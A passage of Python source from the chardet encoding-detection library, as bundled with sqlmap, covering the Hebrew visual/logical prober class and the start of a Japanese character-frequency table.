charset detector code. # # The Initial Developer of the Original Code is # Shy Shalom # Portions created by the Initial Developer are Copyright (C) 2005 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .charsetprober import CharSetProber from .constants import eNotMe, eDetecting from .compat import wrap_ord # This prober doesn't actually recognize a language or a charset. # It is a helper prober for the use of the Hebrew model probers ### General ideas of the Hebrew charset recognition ### # # Four main charsets exist in Hebrew: # "ISO-8859-8" - Visual Hebrew # "windows-1255" - Logical Hebrew # "ISO-8859-8-I" - Logical Hebrew # "x-mac-hebrew" - ?? Logical Hebrew ?? # # Both "ISO" charsets use a completely identical set of code points, whereas # "windows-1255" and "x-mac-hebrew" are two different proper supersets of # these code points. windows-1255 defines additional characters in the range # 0x80-0x9F as some misc punctuation marks as well as some Hebrew-specific # diacritics and additional 'Yiddish' ligature letters in the range 0xc0-0xd6. # x-mac-hebrew defines similar additional code points but with a different # mapping. # # As far as an average Hebrew text with no diacritics is concerned, all four # charsets are identical with respect to code points. Meaning that for the # main Hebrew alphabet, all four map the same values to all 27 Hebrew letters # (including final letters). # # The dominant difference between these charsets is their directionality. # "Visual" directionality means that the text is ordered as if the renderer is # not aware of a BIDI rendering algorithm. The renderer sees the text and # draws it from left to right. The text itself when ordered naturally is read # backwards. A buffer of Visual Hebrew generally looks like so: # "[last word of first line spelled backwards] [whole line ordered backwards # and spelled backwards] [first word of first line spelled backwards] # [end of line] [last word of second line] ... etc' " # adding punctuation marks, numbers and English text to visual text is # naturally also "visual" and from left to right. # # "Logical" directionality means the text is ordered "naturally" according to # the order it is read. It is the responsibility of the renderer to display # the text from right to left. A BIDI algorithm is used to place general # punctuation marks, numbers and English text in the text. # # Texts in x-mac-hebrew are almost impossible to find on the Internet. From # what little evidence I could find, it seems that its general directionality # is Logical. # # To sum up all of the above, the Hebrew probing mechanism knows about two # charsets: # Visual Hebrew - "ISO-8859-8" - backwards text - Words and sentences are # backwards while line order is natural. For charset recognition purposes # the line order is unimportant (In fact, for this implementation, even # word order is unimportant). # Logical Hebrew - "windows-1255" - normal, naturally ordered text. # # "ISO-8859-8-I" is a subset of windows-1255 and doesn't need to be # specifically identified. # "x-mac-hebrew" is also identified as windows-1255. A text in x-mac-hebrew # that contain special punctuation marks or diacritics is displayed with # some unconverted characters showing as question marks. This problem might # be corrected using another model prober for x-mac-hebrew. Due to the fact # that x-mac-hebrew texts are so rare, writing another model prober isn't # worth the effort and performance hit. # #### The Prober #### # # The prober is divided between two SBCharSetProbers and a HebrewProber, # all of which are managed, created, fed data, inquired and deleted by the # SBCSGroupProber. The two SBCharSetProbers identify that the text is in # fact some kind of Hebrew, Logical or Visual. The final decision about which # one is it is made by the HebrewProber by combining final-letter scores # with the scores of the two SBCharSetProbers to produce a final answer. # # The SBCSGroupProber is responsible for stripping the original text of HTML # tags, English characters, numbers, low-ASCII punctuation characters, spaces # and new lines. It reduces any sequence of such characters to a single space. # The buffer fed to each prober in the SBCS group prober is pure text in # high-ASCII. # The two SBCharSetProbers (model probers) share the same language model: # Win1255Model. # The first SBCharSetProber uses the model normally as any other # SBCharSetProber does, to recognize windows-1255, upon which this model was # built. The second SBCharSetProber is told to make the pair-of-letter # lookup in the language model backwards. This in practice exactly simulates # a visual Hebrew model using the windows-1255 logical Hebrew model. # # The HebrewProber is not using any language model. All it does is look for # final-letter evidence suggesting the text is either logical Hebrew or visual # Hebrew. Disjointed from the model probers, the results of the HebrewProber # alone are meaningless. HebrewProber always returns 0.00 as confidence # since it never identifies a charset by itself. Instead, the pointer to the # HebrewProber is passed to the model probers as a helper "Name Prober". # When the Group prober receives a positive identification from any prober, # it asks for the name of the charset identified. If the prober queried is a # Hebrew model prober, the model prober forwards the call to the # HebrewProber to make the final decision. In the HebrewProber, the # decision is made according to the final-letters scores maintained and Both # model probers scores. The answer is returned in the form of the name of the # charset identified, either "windows-1255" or "ISO-8859-8". # windows-1255 / ISO-8859-8 code points of interest FINAL_KAF = 0xea NORMAL_KAF = 0xeb FINAL_MEM = 0xed NORMAL_MEM = 0xee FINAL_NUN = 0xef NORMAL_NUN = 0xf0 FINAL_PE = 0xf3 NORMAL_PE = 0xf4 FINAL_TSADI = 0xf5 NORMAL_TSADI = 0xf6 # Minimum Visual vs Logical final letter score difference. # If the difference is below this, don't rely solely on the final letter score # distance. MIN_FINAL_CHAR_DISTANCE = 5 # Minimum Visual vs Logical model score difference. # If the difference is below this, don't rely at all on the model score # distance. MIN_MODEL_DISTANCE = 0.01 VISUAL_HEBREW_NAME = "ISO-8859-8" LOGICAL_HEBREW_NAME = "windows-1255" class HebrewProber(CharSetProber): def __init__(self): CharSetProber.__init__(self) self._mLogicalProber = None self._mVisualProber = None self.reset() def reset(self): self._mFinalCharLogicalScore = 0 self._mFinalCharVisualScore = 0 # The two last characters seen in the previous buffer, # mPrev and mBeforePrev are initialized to space in order to simulate # a word delimiter at the beginning of the data self._mPrev = ' ' self._mBeforePrev = ' ' # These probers are owned by the group prober. def set_model_probers(self, logicalProber, visualProber): self._mLogicalProber = logicalProber self._mVisualProber = visualProber def is_final(self, c): return wrap_ord(c) in [FINAL_KAF, FINAL_MEM, FINAL_NUN, FINAL_PE, FINAL_TSADI] def is_non_final(self, c): # The normal Tsadi is not a good Non-Final letter due to words like # 'lechotet' (to chat) containing an apostrophe after the tsadi. This # apostrophe is converted to a space in FilterWithoutEnglishLetters # causing the Non-Final tsadi to appear at an end of a word even # though this is not the case in the original text. # The letters Pe and Kaf rarely display a related behavior of not being # a good Non-Final letter. Words like 'Pop', 'Winamp' and 'Mubarak' # for example legally end with a Non-Final Pe or Kaf. However, the # benefit of these letters as Non-Final letters outweighs the damage # since these words are quite rare. return wrap_ord(c) in [NORMAL_KAF, NORMAL_MEM, NORMAL_NUN, NORMAL_PE] def feed(self, aBuf): # Final letter analysis for logical-visual decision. # Look for evidence that the received buffer is either logical Hebrew # or visual Hebrew. # The following cases are checked: # 1) A word longer than 1 letter, ending with a final letter. This is # an indication that the text is laid out "naturally" since the # final letter really appears at the end. +1 for logical score. # 2) A word longer than 1 letter, ending with a Non-Final letter. In # normal Hebrew, words ending with Kaf, Mem, Nun, Pe or Tsadi, # should not end with the Non-Final form of that letter. Exceptions # to this rule are mentioned above in isNonFinal(). This is an # indication that the text is laid out backwards. +1 for visual # score # 3) A word longer than 1 letter, starting with a final letter. Final # letters should not appear at the beginning of a word. This is an # indication that the text is laid out backwards. +1 for visual # score. # # The visual score and logical score are accumulated throughout the # text and are finally checked against each other in GetCharSetName(). # No checking for final letters in the middle of words is done since # that case is not an indication for either Logical or Visual text. # # We automatically filter out all 7-bit characters (replace them with # spaces) so the word boundary detection works properly. [MAP] if self.get_state() == eNotMe: # Both model probers say it's not them. No reason to continue. return eNotMe aBuf = self.filter_high_bit_only(aBuf) for cur in aBuf: if cur == ' ': # We stand on a space - a word just ended if self._mBeforePrev != ' ': # next-to-last char was not a space so self._mPrev is not a # 1 letter word if self.is_final(self._mPrev): # case (1) [-2:not space][-1:final letter][cur:space] self._mFinalCharLogicalScore += 1 elif self.is_non_final(self._mPrev): # case (2) [-2:not space][-1:Non-Final letter][ # cur:space] self._mFinalCharVisualScore += 1 else: # Not standing on a space if ((self._mBeforePrev == ' ') and (self.is_final(self._mPrev)) and (cur != ' ')): # case (3) [-2:space][-1:final letter][cur:not space] self._mFinalCharVisualScore += 1 self._mBeforePrev = self._mPrev self._mPrev = cur # Forever detecting, till the end or until both model probers return # eNotMe (handled above) return eDetecting def get_charset_name(self): # Make the decision: is it Logical or Visual? # If the final letter score distance is dominant enough, rely on it. finalsub = self._mFinalCharLogicalScore - self._mFinalCharVisualScore if finalsub >= MIN_FINAL_CHAR_DISTANCE: return LOGICAL_HEBREW_NAME if finalsub <= -MIN_FINAL_CHAR_DISTANCE: return VISUAL_HEBREW_NAME # It's not dominant enough, try to rely on the model scores instead. modelsub = (self._mLogicalProber.get_confidence() - self._mVisualProber.get_confidence()) if modelsub > MIN_MODEL_DISTANCE: return LOGICAL_HEBREW_NAME if modelsub < -MIN_MODEL_DISTANCE: return VISUAL_HEBREW_NAME # Still no good, back to final letter distance, maybe it'll save the # day. if finalsub < 0.0: return VISUAL_HEBREW_NAME # (finalsub > 0 - Logical) or (don't know what to do) default to # Logical. return LOGICAL_HEBREW_NAME def get_state(self): # Remain active as long as any of the model probers are active. if (self._mLogicalProber.get_state() == eNotMe) and \ (self._mVisualProber.get_state() == eNotMe): return eNotMe return eDetecting sqlmap-1.2.4/thirdparty/chardet/jisfreq.py000066400000000000000000001343231326012263700206440ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # Sampling from about 20M text materials include literature and computer technology # # Japanese frequency table, applied to both S-JIS and EUC-JP # They are sorted in order. # 128 --> 0.77094 # 256 --> 0.85710 # 512 --> 0.92635 # 1024 --> 0.97130 # 2048 --> 0.99431 # # Ideal Distribution Ratio = 0.92635 / (1-0.92635) = 12.58 # Random Distribution Ration = 512 / (2965+62+83+86-512) = 0.191 # # Typical Distribution Ratio, 25% of IDR JIS_TYPICAL_DISTRIBUTION_RATIO = 3.0 # Char to FreqOrder table , JIS_TABLE_SIZE = 4368 JISCharToFreqOrder = ( 40, 1, 6, 182, 152, 180, 295,2127, 285, 381,3295,4304,3068,4606,3165,3510, # 16 3511,1822,2785,4607,1193,2226,5070,4608, 171,2996,1247, 18, 179,5071, 856,1661, # 32 1262,5072, 619, 127,3431,3512,3230,1899,1700, 232, 228,1294,1298, 284, 283,2041, # 48 2042,1061,1062, 48, 49, 44, 45, 433, 434,1040,1041, 996, 787,2997,1255,4305, # 64 2108,4609,1684,1648,5073,5074,5075,5076,5077,5078,3687,5079,4610,5080,3927,3928, # 80 5081,3296,3432, 290,2285,1471,2187,5082,2580,2825,1303,2140,1739,1445,2691,3375, # 96 1691,3297,4306,4307,4611, 452,3376,1182,2713,3688,3069,4308,5083,5084,5085,5086, # 112 5087,5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102, # 128 5103,5104,5105,5106,5107,5108,5109,5110,5111,5112,4097,5113,5114,5115,5116,5117, # 144 5118,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,5130,5131,5132,5133, # 160 5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148,5149, # 176 5150,5151,5152,4612,5153,5154,5155,5156,5157,5158,5159,5160,5161,5162,5163,5164, # 192 5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,1472, 598, 618, 820,1205, # 208 1309,1412,1858,1307,1692,5176,5177,5178,5179,5180,5181,5182,1142,1452,1234,1172, # 224 1875,2043,2149,1793,1382,2973, 925,2404,1067,1241, 960,1377,2935,1491, 919,1217, # 240 1865,2030,1406,1499,2749,4098,5183,5184,5185,5186,5187,5188,2561,4099,3117,1804, # 256 2049,3689,4309,3513,1663,5189,3166,3118,3298,1587,1561,3433,5190,3119,1625,2998, # 272 3299,4613,1766,3690,2786,4614,5191,5192,5193,5194,2161, 26,3377, 2,3929, 20, # 288 3691, 47,4100, 50, 17, 16, 35, 268, 27, 243, 42, 155, 24, 154, 29, 184, # 304 4, 91, 14, 92, 53, 396, 33, 289, 9, 37, 64, 620, 21, 39, 321, 5, # 320 12, 11, 52, 13, 3, 208, 138, 0, 7, 60, 526, 141, 151,1069, 181, 275, # 336 1591, 83, 132,1475, 126, 331, 829, 15, 69, 160, 59, 22, 157, 55,1079, 312, # 352 109, 38, 23, 25, 10, 19, 79,5195, 61, 382,1124, 8, 30,5196,5197,5198, # 368 5199,5200,5201,5202,5203,5204,5205,5206, 89, 62, 74, 34,2416, 112, 139, 196, # 384 271, 149, 84, 607, 131, 765, 46, 88, 153, 683, 76, 874, 101, 258, 57, 80, # 400 32, 364, 121,1508, 169,1547, 68, 235, 145,2999, 41, 360,3027, 70, 63, 31, # 416 43, 259, 262,1383, 99, 533, 194, 66, 93, 846, 217, 192, 56, 106, 58, 565, # 432 280, 272, 311, 256, 146, 82, 308, 71, 100, 128, 214, 655, 110, 261, 104,1140, # 448 54, 51, 36, 87, 67,3070, 185,2618,2936,2020, 28,1066,2390,2059,5207,5208, # 464 5209,5210,5211,5212,5213,5214,5215,5216,4615,5217,5218,5219,5220,5221,5222,5223, # 480 5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234,5235,5236,3514,5237,5238, # 496 5239,5240,5241,5242,5243,5244,2297,2031,4616,4310,3692,5245,3071,5246,3598,5247, # 512 4617,3231,3515,5248,4101,4311,4618,3808,4312,4102,5249,4103,4104,3599,5250,5251, # 528 5252,5253,5254,5255,5256,5257,5258,5259,5260,5261,5262,5263,5264,5265,5266,5267, # 544 5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278,5279,5280,5281,5282,5283, # 560 5284,5285,5286,5287,5288,5289,5290,5291,5292,5293,5294,5295,5296,5297,5298,5299, # 576 5300,5301,5302,5303,5304,5305,5306,5307,5308,5309,5310,5311,5312,5313,5314,5315, # 592 5316,5317,5318,5319,5320,5321,5322,5323,5324,5325,5326,5327,5328,5329,5330,5331, # 608 5332,5333,5334,5335,5336,5337,5338,5339,5340,5341,5342,5343,5344,5345,5346,5347, # 624 5348,5349,5350,5351,5352,5353,5354,5355,5356,5357,5358,5359,5360,5361,5362,5363, # 640 5364,5365,5366,5367,5368,5369,5370,5371,5372,5373,5374,5375,5376,5377,5378,5379, # 656 5380,5381, 363, 642,2787,2878,2788,2789,2316,3232,2317,3434,2011, 165,1942,3930, # 672 3931,3932,3933,5382,4619,5383,4620,5384,5385,5386,5387,5388,5389,5390,5391,5392, # 688 5393,5394,5395,5396,5397,5398,5399,5400,5401,5402,5403,5404,5405,5406,5407,5408, # 704 5409,5410,5411,5412,5413,5414,5415,5416,5417,5418,5419,5420,5421,5422,5423,5424, # 720 5425,5426,5427,5428,5429,5430,5431,5432,5433,5434,5435,5436,5437,5438,5439,5440, # 736 5441,5442,5443,5444,5445,5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456, # 752 5457,5458,5459,5460,5461,5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472, # 768 5473,5474,5475,5476,5477,5478,5479,5480,5481,5482,5483,5484,5485,5486,5487,5488, # 784 5489,5490,5491,5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504, # 800 5505,5506,5507,5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520, # 816 5521,5522,5523,5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536, # 832 5537,5538,5539,5540,5541,5542,5543,5544,5545,5546,5547,5548,5549,5550,5551,5552, # 848 5553,5554,5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568, # 864 5569,5570,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584, # 880 5585,5586,5587,5588,5589,5590,5591,5592,5593,5594,5595,5596,5597,5598,5599,5600, # 896 5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,5615,5616, # 912 5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631,5632, # 928 5633,5634,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646,5647,5648, # 944 5649,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660,5661,5662,5663,5664, # 960 5665,5666,5667,5668,5669,5670,5671,5672,5673,5674,5675,5676,5677,5678,5679,5680, # 976 5681,5682,5683,5684,5685,5686,5687,5688,5689,5690,5691,5692,5693,5694,5695,5696, # 992 5697,5698,5699,5700,5701,5702,5703,5704,5705,5706,5707,5708,5709,5710,5711,5712, # 1008 5713,5714,5715,5716,5717,5718,5719,5720,5721,5722,5723,5724,5725,5726,5727,5728, # 1024 5729,5730,5731,5732,5733,5734,5735,5736,5737,5738,5739,5740,5741,5742,5743,5744, # 1040 5745,5746,5747,5748,5749,5750,5751,5752,5753,5754,5755,5756,5757,5758,5759,5760, # 1056 5761,5762,5763,5764,5765,5766,5767,5768,5769,5770,5771,5772,5773,5774,5775,5776, # 1072 5777,5778,5779,5780,5781,5782,5783,5784,5785,5786,5787,5788,5789,5790,5791,5792, # 1088 5793,5794,5795,5796,5797,5798,5799,5800,5801,5802,5803,5804,5805,5806,5807,5808, # 1104 5809,5810,5811,5812,5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824, # 1120 5825,5826,5827,5828,5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840, # 1136 5841,5842,5843,5844,5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856, # 1152 5857,5858,5859,5860,5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872, # 1168 5873,5874,5875,5876,5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888, # 1184 5889,5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904, # 1200 5905,5906,5907,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, # 1216 5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936, # 1232 5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952, # 1248 5953,5954,5955,5956,5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968, # 1264 5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984, # 1280 5985,5986,5987,5988,5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000, # 1296 6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016, # 1312 6017,6018,6019,6020,6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032, # 1328 6033,6034,6035,6036,6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048, # 1344 6049,6050,6051,6052,6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064, # 1360 6065,6066,6067,6068,6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080, # 1376 6081,6082,6083,6084,6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096, # 1392 6097,6098,6099,6100,6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112, # 1408 6113,6114,2044,2060,4621, 997,1235, 473,1186,4622, 920,3378,6115,6116, 379,1108, # 1424 4313,2657,2735,3934,6117,3809, 636,3233, 573,1026,3693,3435,2974,3300,2298,4105, # 1440 854,2937,2463, 393,2581,2417, 539, 752,1280,2750,2480, 140,1161, 440, 708,1569, # 1456 665,2497,1746,1291,1523,3000, 164,1603, 847,1331, 537,1997, 486, 508,1693,2418, # 1472 1970,2227, 878,1220, 299,1030, 969, 652,2751, 624,1137,3301,2619, 65,3302,2045, # 1488 1761,1859,3120,1930,3694,3516, 663,1767, 852, 835,3695, 269, 767,2826,2339,1305, # 1504 896,1150, 770,1616,6118, 506,1502,2075,1012,2519, 775,2520,2975,2340,2938,4314, # 1520 3028,2086,1224,1943,2286,6119,3072,4315,2240,1273,1987,3935,1557, 175, 597, 985, # 1536 3517,2419,2521,1416,3029, 585, 938,1931,1007,1052,1932,1685,6120,3379,4316,4623, # 1552 804, 599,3121,1333,2128,2539,1159,1554,2032,3810, 687,2033,2904, 952, 675,1467, # 1568 3436,6121,2241,1096,1786,2440,1543,1924, 980,1813,2228, 781,2692,1879, 728,1918, # 1584 3696,4624, 548,1950,4625,1809,1088,1356,3303,2522,1944, 502, 972, 373, 513,2827, # 1600 586,2377,2391,1003,1976,1631,6122,2464,1084, 648,1776,4626,2141, 324, 962,2012, # 1616 2177,2076,1384, 742,2178,1448,1173,1810, 222, 102, 301, 445, 125,2420, 662,2498, # 1632 277, 200,1476,1165,1068, 224,2562,1378,1446, 450,1880, 659, 791, 582,4627,2939, # 1648 3936,1516,1274, 555,2099,3697,1020,1389,1526,3380,1762,1723,1787,2229, 412,2114, # 1664 1900,2392,3518, 512,2597, 427,1925,2341,3122,1653,1686,2465,2499, 697, 330, 273, # 1680 380,2162, 951, 832, 780, 991,1301,3073, 965,2270,3519, 668,2523,2636,1286, 535, # 1696 1407, 518, 671, 957,2658,2378, 267, 611,2197,3030,6123, 248,2299, 967,1799,2356, # 1712 850,1418,3437,1876,1256,1480,2828,1718,6124,6125,1755,1664,2405,6126,4628,2879, # 1728 2829, 499,2179, 676,4629, 557,2329,2214,2090, 325,3234, 464, 811,3001, 992,2342, # 1744 2481,1232,1469, 303,2242, 466,1070,2163, 603,1777,2091,4630,2752,4631,2714, 322, # 1760 2659,1964,1768, 481,2188,1463,2330,2857,3600,2092,3031,2421,4632,2318,2070,1849, # 1776 2598,4633,1302,2254,1668,1701,2422,3811,2905,3032,3123,2046,4106,1763,1694,4634, # 1792 1604, 943,1724,1454, 917, 868,2215,1169,2940, 552,1145,1800,1228,1823,1955, 316, # 1808 1080,2510, 361,1807,2830,4107,2660,3381,1346,1423,1134,4108,6127, 541,1263,1229, # 1824 1148,2540, 545, 465,1833,2880,3438,1901,3074,2482, 816,3937, 713,1788,2500, 122, # 1840 1575, 195,1451,2501,1111,6128, 859, 374,1225,2243,2483,4317, 390,1033,3439,3075, # 1856 2524,1687, 266, 793,1440,2599, 946, 779, 802, 507, 897,1081, 528,2189,1292, 711, # 1872 1866,1725,1167,1640, 753, 398,2661,1053, 246, 348,4318, 137,1024,3440,1600,2077, # 1888 2129, 825,4319, 698, 238, 521, 187,2300,1157,2423,1641,1605,1464,1610,1097,2541, # 1904 1260,1436, 759,2255,1814,2150, 705,3235, 409,2563,3304, 561,3033,2005,2564, 726, # 1920 1956,2343,3698,4109, 949,3812,3813,3520,1669, 653,1379,2525, 881,2198, 632,2256, # 1936 1027, 778,1074, 733,1957, 514,1481,2466, 554,2180, 702,3938,1606,1017,1398,6129, # 1952 1380,3521, 921, 993,1313, 594, 449,1489,1617,1166, 768,1426,1360, 495,1794,3601, # 1968 1177,3602,1170,4320,2344, 476, 425,3167,4635,3168,1424, 401,2662,1171,3382,1998, # 1984 1089,4110, 477,3169, 474,6130,1909, 596,2831,1842, 494, 693,1051,1028,1207,3076, # 2000 606,2115, 727,2790,1473,1115, 743,3522, 630, 805,1532,4321,2021, 366,1057, 838, # 2016 684,1114,2142,4322,2050,1492,1892,1808,2271,3814,2424,1971,1447,1373,3305,1090, # 2032 1536,3939,3523,3306,1455,2199, 336, 369,2331,1035, 584,2393, 902, 718,2600,6131, # 2048 2753, 463,2151,1149,1611,2467, 715,1308,3124,1268, 343,1413,3236,1517,1347,2663, # 2064 2093,3940,2022,1131,1553,2100,2941,1427,3441,2942,1323,2484,6132,1980, 872,2368, # 2080 2441,2943, 320,2369,2116,1082, 679,1933,3941,2791,3815, 625,1143,2023, 422,2200, # 2096 3816,6133, 730,1695, 356,2257,1626,2301,2858,2637,1627,1778, 937, 883,2906,2693, # 2112 3002,1769,1086, 400,1063,1325,3307,2792,4111,3077, 456,2345,1046, 747,6134,1524, # 2128 884,1094,3383,1474,2164,1059, 974,1688,2181,2258,1047, 345,1665,1187, 358, 875, # 2144 3170, 305, 660,3524,2190,1334,1135,3171,1540,1649,2542,1527, 927, 968,2793, 885, # 2160 1972,1850, 482, 500,2638,1218,1109,1085,2543,1654,2034, 876, 78,2287,1482,1277, # 2176 861,1675,1083,1779, 724,2754, 454, 397,1132,1612,2332, 893, 672,1237, 257,2259, # 2192 2370, 135,3384, 337,2244, 547, 352, 340, 709,2485,1400, 788,1138,2511, 540, 772, # 2208 1682,2260,2272,2544,2013,1843,1902,4636,1999,1562,2288,4637,2201,1403,1533, 407, # 2224 576,3308,1254,2071, 978,3385, 170, 136,1201,3125,2664,3172,2394, 213, 912, 873, # 2240 3603,1713,2202, 699,3604,3699, 813,3442, 493, 531,1054, 468,2907,1483, 304, 281, # 2256 4112,1726,1252,2094, 339,2319,2130,2639, 756,1563,2944, 748, 571,2976,1588,2425, # 2272 2715,1851,1460,2426,1528,1392,1973,3237, 288,3309, 685,3386, 296, 892,2716,2216, # 2288 1570,2245, 722,1747,2217, 905,3238,1103,6135,1893,1441,1965, 251,1805,2371,3700, # 2304 2601,1919,1078, 75,2182,1509,1592,1270,2640,4638,2152,6136,3310,3817, 524, 706, # 2320 1075, 292,3818,1756,2602, 317, 98,3173,3605,3525,1844,2218,3819,2502, 814, 567, # 2336 385,2908,1534,6137, 534,1642,3239, 797,6138,1670,1529, 953,4323, 188,1071, 538, # 2352 178, 729,3240,2109,1226,1374,2000,2357,2977, 731,2468,1116,2014,2051,6139,1261, # 2368 1593, 803,2859,2736,3443, 556, 682, 823,1541,6140,1369,2289,1706,2794, 845, 462, # 2384 2603,2665,1361, 387, 162,2358,1740, 739,1770,1720,1304,1401,3241,1049, 627,1571, # 2400 2427,3526,1877,3942,1852,1500, 431,1910,1503, 677, 297,2795, 286,1433,1038,1198, # 2416 2290,1133,1596,4113,4639,2469,1510,1484,3943,6141,2442, 108, 712,4640,2372, 866, # 2432 3701,2755,3242,1348, 834,1945,1408,3527,2395,3243,1811, 824, 994,1179,2110,1548, # 2448 1453, 790,3003, 690,4324,4325,2832,2909,3820,1860,3821, 225,1748, 310, 346,1780, # 2464 2470, 821,1993,2717,2796, 828, 877,3528,2860,2471,1702,2165,2910,2486,1789, 453, # 2480 359,2291,1676, 73,1164,1461,1127,3311, 421, 604, 314,1037, 589, 116,2487, 737, # 2496 837,1180, 111, 244, 735,6142,2261,1861,1362, 986, 523, 418, 581,2666,3822, 103, # 2512 855, 503,1414,1867,2488,1091, 657,1597, 979, 605,1316,4641,1021,2443,2078,2001, # 2528 1209, 96, 587,2166,1032, 260,1072,2153, 173, 94, 226,3244, 819,2006,4642,4114, # 2544 2203, 231,1744, 782, 97,2667, 786,3387, 887, 391, 442,2219,4326,1425,6143,2694, # 2560 633,1544,1202, 483,2015, 592,2052,1958,2472,1655, 419, 129,4327,3444,3312,1714, # 2576 1257,3078,4328,1518,1098, 865,1310,1019,1885,1512,1734, 469,2444, 148, 773, 436, # 2592 1815,1868,1128,1055,4329,1245,2756,3445,2154,1934,1039,4643, 579,1238, 932,2320, # 2608 353, 205, 801, 115,2428, 944,2321,1881, 399,2565,1211, 678, 766,3944, 335,2101, # 2624 1459,1781,1402,3945,2737,2131,1010, 844, 981,1326,1013, 550,1816,1545,2620,1335, # 2640 1008, 371,2881, 936,1419,1613,3529,1456,1395,2273,1834,2604,1317,2738,2503, 416, # 2656 1643,4330, 806,1126, 229, 591,3946,1314,1981,1576,1837,1666, 347,1790, 977,3313, # 2672 764,2861,1853, 688,2429,1920,1462, 77, 595, 415,2002,3034, 798,1192,4115,6144, # 2688 2978,4331,3035,2695,2582,2072,2566, 430,2430,1727, 842,1396,3947,3702, 613, 377, # 2704 278, 236,1417,3388,3314,3174, 757,1869, 107,3530,6145,1194, 623,2262, 207,1253, # 2720 2167,3446,3948, 492,1117,1935, 536,1838,2757,1246,4332, 696,2095,2406,1393,1572, # 2736 3175,1782, 583, 190, 253,1390,2230, 830,3126,3389, 934,3245,1703,1749,2979,1870, # 2752 2545,1656,2204, 869,2346,4116,3176,1817, 496,1764,4644, 942,1504, 404,1903,1122, # 2768 1580,3606,2945,1022, 515, 372,1735, 955,2431,3036,6146,2797,1110,2302,2798, 617, # 2784 6147, 441, 762,1771,3447,3607,3608,1904, 840,3037, 86, 939,1385, 572,1370,2445, # 2800 1336, 114,3703, 898, 294, 203,3315, 703,1583,2274, 429, 961,4333,1854,1951,3390, # 2816 2373,3704,4334,1318,1381, 966,1911,2322,1006,1155, 309, 989, 458,2718,1795,1372, # 2832 1203, 252,1689,1363,3177, 517,1936, 168,1490, 562, 193,3823,1042,4117,1835, 551, # 2848 470,4645, 395, 489,3448,1871,1465,2583,2641, 417,1493, 279,1295, 511,1236,1119, # 2864 72,1231,1982,1812,3004, 871,1564, 984,3449,1667,2696,2096,4646,2347,2833,1673, # 2880 3609, 695,3246,2668, 807,1183,4647, 890, 388,2333,1801,1457,2911,1765,1477,1031, # 2896 3316,3317,1278,3391,2799,2292,2526, 163,3450,4335,2669,1404,1802,6148,2323,2407, # 2912 1584,1728,1494,1824,1269, 298, 909,3318,1034,1632, 375, 776,1683,2061, 291, 210, # 2928 1123, 809,1249,1002,2642,3038, 206,1011,2132, 144, 975, 882,1565, 342, 667, 754, # 2944 1442,2143,1299,2303,2062, 447, 